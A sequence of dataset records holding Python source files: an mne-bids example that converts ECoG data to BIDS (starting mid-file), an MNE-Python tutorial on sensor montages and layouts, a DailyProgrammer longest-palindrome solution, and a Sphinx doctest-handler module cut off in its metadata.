elec)),\n                                        coord_frame='mri')\nprint('Created %s channel positions' % len(ch_names))\nprint(dict(zip(ch_names, elec)))\n\n###############################################################################\n# We will load a :class:`mne.io.Raw` object and\n# use the montage we created.\ninfo = mne.create_info(ch_names, 1000., 'ecog')\nraw = mne.io.read_raw_edf(misc_path + '/ecog/sample_ecog.edf')\nraw.info['line_freq'] = 60  # specify power line frequency as required by BIDS\nraw.set_channel_types({ch: 'ecog' for ch in raw.ch_names})\n\n# set the bad channels\nraw.info['bads'].extend(['BTM1', 'BTM2', 'BTM3', 'BTM4', 'BTM5', 'BTM6',\n                         'BTP1', 'BTP2', 'BTP3', 'BTP4', 'BTP5', 'BTP6',\n                         'EKGL', 'EKGR'])\n\n# set montage\nraw.set_montage(montage, on_missing='warn')\n\n###############################################################################\n# Let us confirm what our channel coordinates look like.\n\n# make a plot of the sensors in 2D plane\nraw.plot_sensors(ch_type='ecog')\n\n# Get the first 5 channels and show their locations.\npicks = mne.pick_types(raw.info, ecog=True)\ndig = [raw.info['dig'][pick] for pick in picks]\nchs = [raw.info['chs'][pick] for pick in picks]\npos = np.array([ch['r'] for ch in dig[:5]])\nch_names = np.array([ch['ch_name'] for ch in chs[:5]])\nprint(\"The channel coordinates before writing into BIDS: \")\npprint([x for x in zip(ch_names, pos)])\n\n###############################################################################\n# Step 2: Formatting as BIDS\n# --------------------------\n#\n# Now, let us format the `Raw` object into BIDS.\n\n###############################################################################\n# With this step, we have everything to start a new BIDS directory using\n# our data. To do that, we can use :func:`write_raw_bids`\n# Generally, :func:`write_raw_bids` tries to extract as much\n# meta data as possible from the raw data and then formats it in a BIDS\n# compatible way. :func:`write_raw_bids` takes a bunch of inputs, most of\n# which are however optional. The required inputs are:\n#\n# * :code:`raw`\n# * :code:`bids_basename`\n# * :code:`bids_root`\n#\n# ... as you can see in the docstring:\nprint(write_raw_bids.__doc__)\n\n###############################################################################\n# Let us initialize some of the necessary data for the subject\n# There is a subject, and specific task for the dataset.\nsubject_id = '001'  # zero padding to account for >100 subjects in this dataset\ntask = 'testresteyes'\n\n# get MNE directory w/ example data\nmne_data_dir = mne.get_config('MNE_DATASETS_MISC_PATH')\n\n# There is the root directory for where we will write our data.\nbids_root = os.path.join(mne_data_dir, 'ieegmmidb_bids')\n\n# make sure we start w/ an empty bids root\nshutil.rmtree(bids_root, ignore_errors=True)\n\n###############################################################################\n# Now we just need to specify a few iEEG details to make things work:\n# We need the basename of the dataset. In addition, write_raw_bids\n# requires a `filenames` of the Raw object to be non-empty, so since we\n# initialized the dataset from an array, we need to do a hack where we\n# temporarily save the data to disc before reading it back in.\n\n# Now convert our data to be in a new BIDS dataset.\nbids_path = BIDSPath(subject=subject_id,\n                     task=task, acquisition=\"ecog\", root=bids_root)\n\n# write `raw` to BIDS and anonymize it into BrainVision format\nwrite_raw_bids(raw, bids_path, anonymize=dict(daysback=30000),\n               overwrite=True)\n\n###############################################################################\n# Step 3: Check and compare with standard\n# ---------------------------------------\n\n# Now we have written our BIDS directory.\nprint_dir_tree(bids_root)\n\n###############################################################################\n# Step 4: Cite mne-bids\n# ---------------------\n# We can see that the appropriate citations are already written in the README.\n# If you are preparing a manuscript, please make sure to also cite MNE-BIDS\n# there.\nreadme = os.path.join(bids_root, 'README')\nwith open(readme, 'r', encoding='utf-8-sig') as fid:\n    text = fid.read()\nprint(text)\n\n###############################################################################\n# MNE-BIDS has created a suitable directory structure for us, and among other\n# meta data files, it started an `events.tsv` and `channels.tsv` and made an\n# initial `dataset_description.json` on top!\n#\n# Now it's time to manually check the BIDS directory and the meta files to add\n# all the information that MNE-BIDS could not infer. For instance, you must\n# describe iEEGReference and iEEGGround yourself. It's easy to find these by\n# searching for \"n/a\" in the sidecar files.\n#\n# `$ grep -i 'n/a' <bids_root>`\n#\n# Remember that there is a convenient javascript tool to validate all your BIDS\n# directories called the \"BIDS-validator\", available as a web version and a\n# command line tool:\n#\n# Web version: https://bids-standard.github.io/bids-validator/\n#\n# Command line tool: https://www.npmjs.com/package/bids-validator\n\n###############################################################################\n# Step 5: Plot output channels and check that they match!\n# -------------------------------------------------------\n#\n# Now we have written our BIDS directory. We can use\n# :func:`read_raw_bids` to read in the data.\n\n# read in the BIDS dataset and plot the coordinates\nraw = read_raw_bids(bids_path=bids_path)\n\n# get the first 5 channels and show their locations\n# this should match what was printed earlier.\npicks = mne.pick_types(raw.info, ecog=True)\ndig = [raw.info['dig'][pick] for pick in picks]\nchs = [raw.info['chs'][pick] for pick in picks]\npos = np.array([ch['r'] for ch in dig[:5]])\nch_names = np.array([ch['ch_name'] for ch in chs[:5]])\n\nprint(\"The channel montage after writing into BIDS: \")\npprint(dig[0:5])\nprint(\"The channel coordinates after writing into BIDS: \")\npprint([x for x in zip(ch_names, pos)])\n\n# make a plot of the sensors in 2D plane\nraw.plot_sensors(ch_type='ecog')\n", "meta": {"hexsha": "adb0951567cb633bb333851c66e0e084027e76eb", "size": 8796, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/convert_ieeg_to_bids.py", "max_stars_repo_name": "ethanknights/mne-bids", "max_stars_repo_head_hexsha": "cfb2ee9c7ddad6e3590427d65844de9f47e66d2d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/convert_ieeg_to_bids.py", "max_issues_repo_name": "ethanknights/mne-bids", "max_issues_repo_head_hexsha": "cfb2ee9c7ddad6e3590427d65844de9f47e66d2d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/convert_ieeg_to_bids.py", "max_forks_repo_name": "ethanknights/mne-bids", "max_forks_repo_head_hexsha": "cfb2ee9c7ddad6e3590427d65844de9f47e66d2d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.9579831933, "max_line_length": 79, "alphanum_fraction": 0.6206230105, "include": true, "reason": "import numpy", "num_tokens": 2092, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.12252322213041654, "lm_q1q2_score": 0.050834743445210946}}
{"text": "\"\"\"\n.. _tut-sensor-locations:\n\nWorking with sensor locations\n=============================\n\nThis tutorial describes how to read and plot sensor locations, and how\nthe physical location of sensors is handled in MNE-Python.\n\n.. contents:: Page contents\n   :local:\n   :depth: 2\n\nAs usual we'll start by importing the modules we need and loading some\n:ref:`example data <sample-dataset>`:\n\"\"\"\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D  # noqa\nimport mne\n\nsample_data_folder = mne.datasets.sample.data_path()\nsample_data_raw_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                    'sample_audvis_raw.fif')\nraw = mne.io.read_raw_fif(sample_data_raw_file, preload=True, verbose=False)\n\n###############################################################################\n# About montages and layouts\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# :class:`Montages <mne.channels.DigMontage>` contain sensor\n# positions in 3D (``x``, ``y``, ``z``, in meters), and can be used to set\n# the physical positions of sensors. By specifying the location of sensors\n# relative to the brain, :class:`Montages <mne.channels.DigMontage>` play an\n# important role in computing the forward solution and computing inverse\n# estimates.\n#\n# In contrast, :class:`Layouts <mne.channels.Layout>` are *idealized* 2-D\n# representations of sensor positions, and are primarily used for arranging\n# individual sensor subplots in a topoplot, or for showing the *approximate*\n# relative arrangement of sensors as seen from above.\n#\n# Working with built-in montages\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The 3D coordinates of MEG sensors are included in the raw recordings from MEG\n# systems, and are automatically stored in the ``info`` attribute of the\n# :class:`~mne.io.Raw` file upon loading. EEG electrode locations are much more\n# variable because of differences in head shape. Idealized montages for many\n# EEG systems are included during MNE-Python installation; these files are\n# stored in your ``mne-python`` directory, in the\n# :file:`mne/channels/data/montages` folder:\n\nmontage_dir = os.path.join(os.path.dirname(mne.__file__),\n                           'channels', 'data', 'montages')\nprint('\\nBUILT-IN MONTAGE FILES')\nprint('======================')\nprint(sorted(os.listdir(montage_dir)))\n\n###############################################################################\n# .. sidebar:: Computing sensor locations\n#\n#     If you are interested in how standard (\"idealized\") EEG sensor positions\n#     are computed on a spherical head model, the `eeg_positions`_ repository\n#     provides code and documentation to this end.\n#\n# These built-in EEG montages can be loaded via\n# :func:`mne.channels.make_standard_montage`. Note that when loading via\n# :func:`~mne.channels.make_standard_montage`, provide the filename *without*\n# its file extension:\n\nten_twenty_montage = mne.channels.make_standard_montage('standard_1020')\nprint(ten_twenty_montage)\n\n###############################################################################\n# Once loaded, a montage can be applied to data via one of the instance methods\n# such as :meth:`raw.set_montage <mne.io.Raw.set_montage>`. It is also possible\n# to skip the loading step by passing the filename string directly to the\n# :meth:`~mne.io.Raw.set_montage` method. This won't work with our sample\n# data, because it's channel names don't match the channel names in the\n# standard 10-20 montage, so these commands are not run here:\n\n# these will be equivalent:\n# raw_1020 = raw.copy().set_montage(ten_twenty_montage)\n# raw_1020 = raw.copy().set_montage('standard_1020')\n\n###############################################################################\n# :class:`Montage <mne.channels.DigMontage>` objects have a\n# :meth:`~mne.channels.DigMontage.plot` method for visualization of the sensor\n# locations in 3D; 2D projections are also possible by passing\n# ``kind='topomap'``:\n\nfig = ten_twenty_montage.plot(kind='3d')\nfig.gca().view_init(azim=70, elev=15)\nten_twenty_montage.plot(kind='topomap', show_names=False)\n\n###############################################################################\n# .. _control-chan-projection:\n#\n# Controlling channel projection (MNE vs EEGLAB)\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Channel positions in 2d space are obtained by projecting their actual 3d\n# positions using a sphere as a reference. Because ``'standard_1020'`` montage\n# contains realistic, not spherical, channel positions, we will use a different\n# montage to demonstrate controlling how channels are projected to 2d space.\n\nbiosemi_montage = mne.channels.make_standard_montage('biosemi64')\nbiosemi_montage.plot(show_names=False)\n\n###############################################################################\n# By default a sphere  with an origin in ``(0, 0, 0)`` x, y, z coordinates and\n# radius of ``0.095`` meters (9.5 cm) is used. You can use a different sphere\n# radius by passing a single value to ``sphere`` argument in any function that\n# plots channels in 2d (like :meth:`~mne.channels.DigMontage.plot` that we use\n# here, but also for example :func:`mne.viz.plot_topomap`):\n\nbiosemi_montage.plot(show_names=False, sphere=0.07)\n\n###############################################################################\n# To control not only radius, but also the sphere origin, pass a\n# ``(x, y, z, radius)`` tuple to ``sphere`` argument:\n\nbiosemi_montage.plot(show_names=False, sphere=(0.03, 0.02, 0.01, 0.075))\n\n###############################################################################\n# In mne-python the head center and therefore the sphere center are calculated\n# using :term:`fiducial points <fiducial point>`.\n# Because of this the head circle represents head\n# circumference at the nasion and ear level, and not where it is commonly\n# measured in 10-20 EEG system: above nasion at T4/T8, T3/T7, Oz, Fz level.\n# Notice below that by default T7 and Oz channels are placed within the head\n# circle, not on the head outline:\n\nbiosemi_montage.plot()\n\n###############################################################################\n# If you have previous EEGLAB experience you may prefer its convention to\n# represent 10-20 head circumference with the head circle. To get EEGLAB-like\n# channel layout you would have to move the sphere origin a few centimeters\n# up on the z dimension:\n\nbiosemi_montage.plot(sphere=(0, 0, 0.035, 0.094))\n\n###############################################################################\n# Instead of approximating the EEGLAB-esque sphere location as above, you can\n# calculate the sphere origin from position of Oz, Fpz, T3/T7 or T4/T8\n# channels. This is easier once the montage has been applied to the data and\n# channel positions are in the head space - see\n# :ref:`this example <ex-topomap-eeglab-style>`.\n\n\n###############################################################################\n# .. _reading-dig-montages:\n#\n# Reading sensor digitization files\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# In the sample data, setting the digitized EEG montage was done prior to\n# saving the :class:`~mne.io.Raw` object to disk, so the sensor positions are\n# already incorporated into the ``info`` attribute of the :class:`~mne.io.Raw`\n# object (see the documentation of the reading functions and\n# :meth:`~mne.io.Raw.set_montage` for details on how that works). Because of\n# that, we can plot sensor locations directly from the :class:`~mne.io.Raw`\n# object using the :meth:`~mne.io.Raw.plot_sensors` method, which provides\n# similar functionality to\n# :meth:`montage.plot() <mne.channels.DigMontage.plot>`.\n# :meth:`~mne.io.Raw.plot_sensors` also allows channel selection by type, can\n# color-code channels in various ways (by default, channels listed in\n# ``raw.info['bads']`` will be plotted in red), and allows drawing into an\n# existing matplotlib ``axes`` object (so the channel positions can easily be\n# made as a subplot in a multi-panel figure):\n\n# sphinx_gallery_thumbnail_number = 8\nfig = plt.figure()\nax2d = fig.add_subplot(121)\nax3d = fig.add_subplot(122, projection='3d')\nraw.plot_sensors(ch_type='eeg', axes=ax2d)\nraw.plot_sensors(ch_type='eeg', axes=ax3d, kind='3d')\nax3d.view_init(azim=70, elev=15)\n\n###############################################################################\n# It's probably evident from the 2D topomap above that there is some\n# irregularity in the EEG sensor positions in the :ref:`sample dataset\n# <sample-dataset>` \u2014 this is because the sensor positions in that dataset are\n# digitizations of the sensor positions on an actual subject's head, rather\n# than idealized sensor positions based on a spherical head model. Depending on\n# what system was used to digitize the electrode positions (e.g., a Polhemus\n# Fastrak digitizer), you must use different montage reading functions (see\n# :ref:`dig-formats`). The resulting :class:`montage <mne.channels.DigMontage>`\n# can then be added to :class:`~mne.io.Raw` objects by passing it to the\n# :meth:`~mne.io.Raw.set_montage` method (just as we did above with the name of\n# the idealized montage ``'standard_1020'``). Once loaded, locations can be\n# plotted with :meth:`~mne.channels.DigMontage.plot` and saved with\n# :meth:`~mne.channels.DigMontage.save`, like when working with a standard\n# montage.\n#\n# .. note::\n#\n#     When setting a montage with :meth:`~mne.io.Raw.set_montage`\n#     the measurement info is updated in two places (the ``chs``\n#     and ``dig`` entries are updated). See :ref:`tut-info-class`.\n#     ``dig`` may contain HPI, fiducial, or head shape points in\n#     addition to electrode locations.\n#\n#\n# Rendering sensor position with mayavi\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# It is also possible to render an image of a MEG sensor helmet in 3D, using\n# mayavi instead of matplotlib, by calling :func:`mne.viz.plot_alignment`\n\nfig = mne.viz.plot_alignment(raw.info, trans=None, dig=False, eeg=False,\n                             surfaces=[], meg=['helmet', 'sensors'],\n                             coord_frame='meg')\nmne.viz.set_3d_view(fig, azimuth=50, elevation=90, distance=0.5)\n\n###############################################################################\n# :func:`~mne.viz.plot_alignment` requires an :class:`~mne.Info` object, and\n# can also render MRI surfaces of the scalp, skull, and brain (by passing\n# keywords like ``'head'``, ``'outer_skull'``, or ``'brain'`` to the\n# ``surfaces`` parameter) making it useful for :ref:`assessing coordinate frame\n# transformations <plot_source_alignment>`. For examples of various uses of\n# :func:`~mne.viz.plot_alignment`, see :ref:`plot_montage`,\n# :doc:`../../auto_examples/visualization/plot_eeg_on_scalp`, and\n# :doc:`../../auto_examples/visualization/plot_meg_sensors`.\n#\n#\n# Working with layout files\n# ^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# As with montages, many layout files are included during MNE-Python\n# installation, and are stored in the :file:`mne/channels/data/layouts` folder:\n\nlayout_dir = os.path.join(os.path.dirname(mne.__file__),\n                          'channels', 'data', 'layouts')\nprint('\\nBUILT-IN LAYOUT FILES')\nprint('=====================')\nprint(sorted(os.listdir(layout_dir)))\n\n###############################################################################\n# You may have noticed that the file formats and filename extensions of the\n# built-in layout and montage files vary considerably. This reflects different\n# manufacturers' conventions; to make loading easier the montage and layout\n# loading functions in MNE-Python take the filename *without its extension* so\n# you don't have to keep track of which file format is used by which\n# manufacturer.\n#\n# To load a layout file, use the :func:`mne.channels.read_layout` function, and\n# provide the filename *without* its file extension. You can then visualize the\n# layout using its :meth:`~mne.channels.Layout.plot` method, or (equivalently)\n# by passing it to :func:`mne.viz.plot_layout`:\n\nbiosemi_layout = mne.channels.read_layout('biosemi')\nbiosemi_layout.plot()  # same result as: mne.viz.plot_layout(biosemi_layout)\n\n###############################################################################\n# Similar to the ``picks`` argument for selecting channels from\n# :class:`~mne.io.Raw` objects, the :meth:`~mne.channels.Layout.plot` method of\n# :class:`~mne.channels.Layout` objects also has a ``picks`` argument. However,\n# because layouts only contain information about sensor name and location (not\n# sensor type), the :meth:`~mne.channels.Layout.plot` method only allows\n# picking channels by index (not by name or by type). Here we find the indices\n# we want using :func:`numpy.where`; selection by name or type is possible via\n# :func:`mne.pick_channels` or :func:`mne.pick_types`.\n\nmidline = np.where([name.endswith('z') for name in biosemi_layout.names])[0]\nbiosemi_layout.plot(picks=midline)\n\n###############################################################################\n# If you're working with a :class:`~mne.io.Raw` object that already has sensor\n# positions incorporated, you can create a :class:`~mne.channels.Layout` object\n# with either the :func:`mne.channels.make_eeg_layout` function or\n# (equivalently) the :func:`mne.channels.find_layout` function.\n\nlayout_from_raw = mne.channels.make_eeg_layout(raw.info)\n# same result as: mne.channels.find_layout(raw.info, ch_type='eeg')\nlayout_from_raw.plot()\n\n###############################################################################\n# .. note::\n#\n#     There is no corresponding ``make_meg_layout`` function because sensor\n#     locations are fixed in a MEG system (unlike in EEG, where the sensor caps\n#     deform to fit each subject's head). Thus MEG layouts are consistent for a\n#     given system and you can simply load them with\n#     :func:`mne.channels.read_layout`, or use :func:`mne.channels.find_layout`\n#     with the ``ch_type`` parameter, as shown above for EEG.\n#\n# All :class:`~mne.channels.Layout` objects have a\n# :meth:`~mne.channels.Layout.save` method that allows writing layouts to disk,\n# in either :file:`.lout` or :file:`.lay` format (which format gets written is\n# inferred from the file extension you pass to the method's ``fname``\n# parameter). The choice between :file:`.lout` and :file:`.lay` format only\n# matters if you need to load the layout file in some other software\n# (MNE-Python can read either format equally well).\n#\n#\n# .. LINKS\n#\n# .. _`eeg_positions`: https://github.com/sappelhoff/eeg_positions\n", "meta": {"hexsha": "be20dd937938f61655579f8289b3658b97783a63", "size": 14496, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/intro/plot_40_sensor_locations.py", "max_stars_repo_name": "enricovara/mne-python", "max_stars_repo_head_hexsha": "f6f2aa7a97c3ae7ae5276202805d2f45de7b64cc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-16T13:33:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-16T13:33:13.000Z", "max_issues_repo_path": "tutorials/intro/plot_40_sensor_locations.py", "max_issues_repo_name": "enricovara/mne-python", "max_issues_repo_head_hexsha": "f6f2aa7a97c3ae7ae5276202805d2f45de7b64cc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2020-07-23T15:41:38.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-24T09:38:41.000Z", "max_forks_repo_path": "tutorials/intro/plot_40_sensor_locations.py", "max_forks_repo_name": "enricovara/mne-python", "max_forks_repo_head_hexsha": "f6f2aa7a97c3ae7ae5276202805d2f45de7b64cc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 47.6842105263, "max_line_length": 79, "alphanum_fraction": 0.6568018764, "include": true, "reason": "import numpy", "num_tokens": 3438, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967689, "lm_q2_score": 0.12252321572224491, "lm_q1q2_score": 0.05083474078646794}}
{"text": "\"\"\"\nFind the longest palindrome in the following 1169-character string:\n\nFourscoreandsevenyearsagoourfaathersbroughtforthonthisconta\ninentanewnationconceivedinzLibertyanddedicatedtotheproposit\nionthatallmenarecreatedequalNowweareengagedinagreahtcivilwa\nrtestingwhetherthatnaptionoranynartionsoconceivedandsodedic\natedcanlongendureWeareqmetonagreatbattlefiemldoftzhatwarWeh\navecometodedicpateaportionofthatfieldasafinalrestingplacefo\nrthosewhoheregavetheirlivesthatthatnationmightliveItisaltog\netherfangandproperthatweshoulddothisButinalargersensewecann\notdedicatewecannotconsecratewecannothallowthisgroundThebrav\nelmenlivinganddeadwhostruggledherehaveconsecrateditfarabove\nourpoorponwertoaddordetractTgheworldadswfilllittlenotlenorl\nongrememberwhatwesayherebutitcanneverforgetwhattheydidhereI\ntisforusthelivingrathertobededicatedheretotheulnfinishedwor\nkwhichtheywhofoughtherehavethusfarsonoblyadvancedItisrather\nforustobeherededicatedtothegreattdafskremainingbeforeusthat\nfromthesehonoreddeadwetakeincreaseddevotiontothatcauseforwh\nichtheygavethelastpfullmeasureofdevotionthatweherehighlyres\nolvethatthesedeadshallnothavediedinvainthatthisnationunsder\nGodshallhaveanewbirthoffreedomandthatgovernmentofthepeopleb\nythepeopleforthepeopleshallnotperishfromtheearth\n\nYour task is to write a function that finds the longest palindrome in a string and apply it to the string given above.\n\n    taken from http://challenge.greplin.com/ :)\n\nIt seems the number of users giving challenges have been reduced. Since my final exams are going on and its kinda\ndifficult to think of all the challenges, I kindly request you all to suggest us interesting challenges at\n/r/dailyprogrammer_ideas .. Thank you!\n\"\"\"\n\nimport numpy as np\n\n\ndef longest_common_substring(str1, str2):\n    \"\"\" from 20120602C \"\"\"\n    l1 = len(str1)\n    l2 = len(str2)\n\n    if l2 < l1:\n        l1, l2 = l2, l1\n        str1, str2 = str2, str1\n\n    L = np.zeros((l1, l2))\n    z = 0\n    ret = []\n    \"\"\" based on pseudocode from wikipedia \"\"\"\n    for i in range(l1):\n        for j in range(l2):\n            if str1[i] == str2[j]:\n                if i == 0 or j == 0:\n                    L[i, j] = 1\n                else:\n                    L[i, j] = L[i-1, j-1] + 1\n                if L[i, j] > z:\n                    z = int(L[i, j])\n                    ret = [str1[i-z+1:i+1]]\n                elif L[i, j] == z:\n                    ret.append(str1[i-z+1:i+1])\n            else:\n                L[i, j] = 0\n\n    if len(ret) == 1:\n        return ret[0]\n    else:\n        return ret\n\n\ndef enforce_palindrom(answer):\n    if type(answer) == list:\n        answer = list(map(lambda x: x == x[::-1], answer))\n    return answer\n\n\ndef main():\n    string = 'Fourscoreandsevenyearsagoourfaathersbroughtforthonthisconta' \\\n             'inentanewnationconceivedinzLibertyanddedicatedtotheproposit' \\\n             'ionthatallmenarecreatedequalNowweareengagedinagreahtcivilwa' \\\n             'rtestingwhetherthatnaptionoranynartionsoconceivedandsodedic' \\\n             'atedcanlongendureWeareqmetonagreatbattlefiemldoftzhatwarWeh' \\\n             'avecometodedicpateaportionofthatfieldasafinalrestingplacefo' \\\n             'rthosewhoheregavetheirlivesthatthatnationmightliveItisaltog' \\\n             'etherfangandproperthatweshoulddothisButinalargersensewecann' \\\n             'otdedicatewecannotconsecratewecannothallowthisgroundThebrav' \\\n             'elmenlivinganddeadwhostruggledherehaveconsecrateditfarabove' \\\n             'ourpoorponwertoaddordetractTgheworldadswfilllittlenotlenorl' \\\n             'ongrememberwhatwesayherebutitcanneverforgetwhattheydidhereI' \\\n             'tisforusthelivingrathertobededicatedheretotheulnfinishedwor' \\\n             'kwhichtheywhofoughtherehavethusfarsonoblyadvancedItisrather' \\\n             'forustobeherededicatedtothegreattdafskremainingbeforeusthat' \\\n             'fromthesehonoreddeadwetakeincreaseddevotiontothatcauseforwh' \\\n             'ichtheygavethelastpfullmeasureofdevotionthatweherehighlyres' \\\n             'olvethatthesedeadshallnothavediedinvainthatthisnationunsder' \\\n             'Godshallhaveanewbirthoffreedomandthatgovernmentofthepeopleb' \\\n             'ythepeopleforthepeopleshallnotperishfromtheearth'\n\n    string = string.lower()\n\n    answer = longest_common_substring(string, string[::-1])\n    print(answer)\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "506c580e0074b138400fdf69b32335d7d7b1b641", "size": 4364, "ext": "py", "lang": "Python", "max_stars_repo_path": "DailyProgrammer/20120613B.py", "max_stars_repo_name": "DayGitH/Python-Challenges", "max_stars_repo_head_hexsha": "bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-12-23T18:59:22.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-14T13:16:09.000Z", "max_issues_repo_path": "DailyProgrammer/20120613B.py", "max_issues_repo_name": "DayGitH/Python-Challenges", "max_issues_repo_head_hexsha": "bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "DailyProgrammer/20120613B.py", "max_forks_repo_name": "DayGitH/Python-Challenges", "max_forks_repo_head_hexsha": "bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.785046729, "max_line_length": 118, "alphanum_fraction": 0.7408340972, "include": true, "reason": "import numpy", "num_tokens": 1271, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782351378493656, "lm_q2_score": 0.11596071214366648, "lm_q1q2_score": 0.05077032645174362}}
{"text": "\"\"\"\nHandlers for IPythonDirective's @doctest pseudo-decorator.\n\nThe Sphinx extension that provides support for embedded yap_ipython code provides\na pseudo-decorator @doctest, which treats the input/output block as a\ndoctest, raising a RuntimeError during doc generation if the actual output\n(after running the input) does not match the expected output.\n\nAn example usage is:\n\n.. code-block:: rst\n\n   .. ipython::\n\n        In [1]: x = 1\n\n        @doctest\n        In [2]: x + 2\n        Out[3]: 3\n\nOne can also provide arguments to the decorator. The first argument should be\nthe name of a custom handler. The specification of any other arguments is\ndetermined by the handler. For example,\n\n.. code-block:: rst\n\n      .. ipython::\n\n         @doctest float\n         In [154]: 0.1 + 0.2\n         Out[154]: 0.3\n\nallows the actual output ``0.30000000000000004`` to match the expected output\ndue to a comparison with `np.allclose`.\n\nThis module contains handlers for the @doctest pseudo-decorator. Handlers\nshould have the following function signature::\n\n    handler(sphinx_shell, args, input_lines, found, submitted)\n\nwhere `sphinx_shell` is the embedded Sphinx shell, `args` contains the list\nof arguments that follow: '@doctest handler_name', `input_lines` contains\na list of the lines relevant to the current doctest, `found` is a string\ncontaining the output from the yap_ipython shell, and `submitted` is a string\ncontaining the expected output from the yap_ipython shell.\n\nHandlers must be registered in the `doctests` dict at the end of this module.\n\n\"\"\"\n\ndef str_to_array(s):\n    \"\"\"\n    Simplistic converter of strings from repr to float NumPy arrays.\n\n    If the repr representation has ellipsis in it, then this will fail.\n\n    Parameters\n    ----------\n    s : str\n        The repr version of a NumPy array.\n\n    Examples\n    --------\n    >>> s = \"array([ 0.3,  inf,  nan])\"\n    >>> a = str_to_array(s)\n\n    \"\"\"\n    import numpy as np\n\n    # Need to make sure eval() knows about inf and nan.\n    # This also assumes default printoptions for NumPy.\n    from numpy import inf, nan\n\n    if s.startswith(u'array'):\n        # Remove array( and )\n        s = s[6:-1]\n\n    if s.startswith(u'['):\n        a = np.array(eval(s), dtype=float)\n    else:\n        # Assume its a regular float. Force 1D so we can index into it.\n        a = np.atleast_1d(float(s))\n    return a\n\ndef float_doctest(sphinx_shell, args, input_lines, found, submitted):\n    \"\"\"\n    Doctest which allow the submitted output to vary slightly from the input.\n\n    Here is how it might appear in an rst file:\n\n    .. code-block:: rst\n\n       .. ipython::\n\n          @doctest float\n          In [1]: 0.1 + 0.2\n          Out[1]: 0.3\n\n    \"\"\"\n    import numpy as np\n\n    if len(args) == 2:\n        rtol = 1e-05\n        atol = 1e-08\n    else:\n        # Both must be specified if any are specified.\n        try:\n            rtol = float(args[2])\n            atol = float(args[3])\n        except IndexError:\n            e = (\"Both `rtol` and `atol` must be specified \"\n                 \"if either are specified: {0}\".format(args))\n            raise IndexError(e)\n\n    try:\n        submitted = str_to_array(submitted)\n        found = str_to_array(found)\n    except:\n        # For example, if the array is huge and there are ellipsis in it.\n        error = True\n    else:\n        found_isnan = np.isnan(found)\n        submitted_isnan = np.isnan(submitted)\n        error = not np.allclose(found_isnan, submitted_isnan)\n        error |= not np.allclose(found[~found_isnan],\n                                 submitted[~submitted_isnan],\n                                 rtol=rtol, atol=atol)\n\n    TAB = ' ' * 4\n    directive = sphinx_shell.directive\n    if directive is None:\n        source = 'Unavailable'\n        content = 'Unavailable'\n    else:\n        source = directive.state.document.current_source\n        # Add tabs and make into a single string.\n        content = '\\n'.join([TAB + line for line in directive.content])\n\n    if error:\n\n        e = ('doctest float comparison failure\\n\\n'\n             'Document source: {0}\\n\\n'\n             'Raw content: \\n{1}\\n\\n'\n             'On input line(s):\\n{TAB}{2}\\n\\n'\n             'we found output:\\n{TAB}{3}\\n\\n'\n             'instead of the expected:\\n{TAB}{4}\\n\\n')\n        e = e.format(source, content, '\\n'.join(input_lines), repr(found),\n                     repr(submitted), TAB=TAB)\n        raise RuntimeError(e)\n\n# dict of allowable doctest handlers. The key represents the first argument\n# that must be given to @doctest in order to activate the handler.\ndoctests = {\n    'float': float_doctest,\n}\n", "meta": {"hexsha": "1c20f8288b79bc4f7c82e641db2b35d4bdf7b290", "size": 4615, "ext": "py", "lang": "Python", "max_stars_repo_path": "packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py", "max_stars_repo_name": "ryandesign/yap", "max_stars_repo_head_hexsha": "9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214", "max_stars_repo_licenses": ["Artistic-1.0-Perl", "ClArtistic"], "max_stars_count": 90, 